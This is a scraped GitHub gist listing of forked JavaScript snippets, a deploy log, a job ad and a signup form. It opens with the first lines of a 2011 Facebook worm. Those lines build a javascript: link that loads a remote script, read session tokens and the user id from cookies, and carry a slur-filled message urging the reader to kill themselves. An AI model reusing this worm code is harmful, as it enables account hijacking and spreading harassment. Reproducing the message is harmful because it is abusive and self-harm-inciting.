Skip to content

Instantly share code, notes, and snippets.

Thomas Davis thomasdavis

Block or report user

Report or block thomasdavis

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@thomasdavis
thomasdavis / facebook_hack.js
Created May 12, 2011 — forked from tysonmote/facebook_hack.js
Nicole Santos Facebook hack
View facebook_hack.js
// 5/11/11 Facebook hack -- Started spreading and was quickly taken down by Dropbox (where the file was hosted).
var message = "Fuck you faggot. Go kill yourself. Do whatever the fuck you want. I hate you and the only way to remove all these posts is by disabling this below.";
var jsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://dl.dropbox.com/u/10505629/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();";
var myText = "Remove This App";
var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
@thomasdavis
thomasdavis / universal-module.js
Created Sep 7, 2011 — forked from ryanflorence/universal-module.js
Universal JavaScript Module, supports AMD (RequireJS), Node.js, and the browser.
View universal-module.js
(function (name, definition){
var theModule = definition(),
hasDefine = typeof define === 'function',
hasExports = typeof module !== 'undefined' && module.exports;
if (hasDefine){ // AMD Module
define(theModule);
} else if (hasExports) { // Node.js Module
module.exports = theModule;
View asd
(function () {
//Sadly necessary browser inference due to differences in the way
//that browsers load and execute dynamically inserted javascript
//and whether the script/cache method works.
//Currently, Gecko and Opera do not load/fire onload for scripts with
//type="script/cache" but they execute injected scripts in order
//unless the 'async' flag is present.
//However, this is all changing in latest browsers implementing HTML5
//spec. Firefox nightly supports using the .async true by default, and
//if false, then it will execute in order. Favor that test first for forward
View plugin.js
// AMD and Plain Enviroment - For the browser so no Common.js needed
if(typeof define !== 'function') {
define = function( deps, definition ) {
window['MyPlugin'] = definition();
}
}
define([], function(){
return {};
@thomasdavis
thomasdavis / jquery.ba-deparam.js
Created Nov 22, 2011 — forked from cowboy/jquery.ba-deparam.js
jQuery Deparam -- WORK IN PROGRESS -- NOT DONE YET
View jquery.ba-deparam.js
// jQuery Deparam - v0.1.0 - 6/14/2011
// http://benalman.com/
// Copyright (c) 2011 Ben Alman; Licensed MIT, GPL
(function($) {
// Creating an internal undef value is safer than using undefined, in case it
// was ever overwritten.
var undef;
// A handy reference.
var decode = decodeURIComponent;
View gist:2367091
info: Welcome to Nodejitsu
info: It worked if it ends with Nodejitsu ok
info: Executing command deploy
info: Analyzing your application dependencies in server.js
warn: Local version appears to be old.
warn: Your package.json version will be incremented for you automatically.
warn: About to write /home/samot/repos/budder-server/package.json
data:
data: {
data: version: '0.0.0-2',
@thomasdavis
thomasdavis / dabblet.css
Created Aug 9, 2012
The first commented line is your dabblet’s title
View dabblet.css
/**
* The first commented line is your dabblet’s title
*/
background: #f06;
background: linear-gradient(45deg, #f06, yellow);
min-height: 100%;
@thomasdavis
thomasdavis / gist:6017383
Last active Dec 19, 2015
Ruby/Mongo developer - Remote
View gist:6017383
Ruby/Mongo developer - Remote
Are you tired of a broken music industry where major labels play gatekeeper and cut artists out of the deal? Sick of streaming services inundated with commercials?
Earbits is turning the model on its head. On Earbits Radio, artists and labels bid for airtime on a per-stream basis and use the exposure to acquire fans and market products and live events.
It is Google Adwords for music, where data, customer experience and economics surface the best material to each listener - all without commercials.
We’re looking for a back end engineer to help build the algorithm that will maximize artists’ results, listeners’ experience, and the company’s bottom line.
Come help us do for music what Adwords did for every other small business industry.
View gist:8558379
<!-- Begin MailChimp Signup Form -->
<link href="//cdn-images.mailchimp.com/embedcode/classic-081711.css" rel="stylesheet" type="text/css">
<style type="text/css">
#mc_embed_signup{background:#fff; clear:left; font:14px Helvetica,Arial,sans-serif; }
/* Add your own MailChimp form style overrides in your site stylesheet or in this style block.
We recommend moving this block and the preceding CSS link to the HEAD of your HTML file. */
</style>
<div id="mc_embed_signup">
<form action="http://thedaywefightback.us3.list-manage.com/subscribe/post?u=d9b90a515aaab135428b797b1&amp;id=1732fb30c4" method="post" id="mc-embedded-subscribe-form" name="mc-embedded-subscribe-form" class="validate" target="_blank" novalidate>
<h2>Subscribe to our mailing list</h2>
View keybase.md

Keybase proof

I hereby claim:

  • I am thomasdavis on github.
  • I am thomasdavis (https://keybase.io/thomasdavis) on keybase.
  • I have a public key whose fingerprint is 0BF3 622D 9D47 DB82 7CDD E1A5 2811 E1C5 FF43 2089

To claim this, I am signing this object:

You can’t perform that action at this time.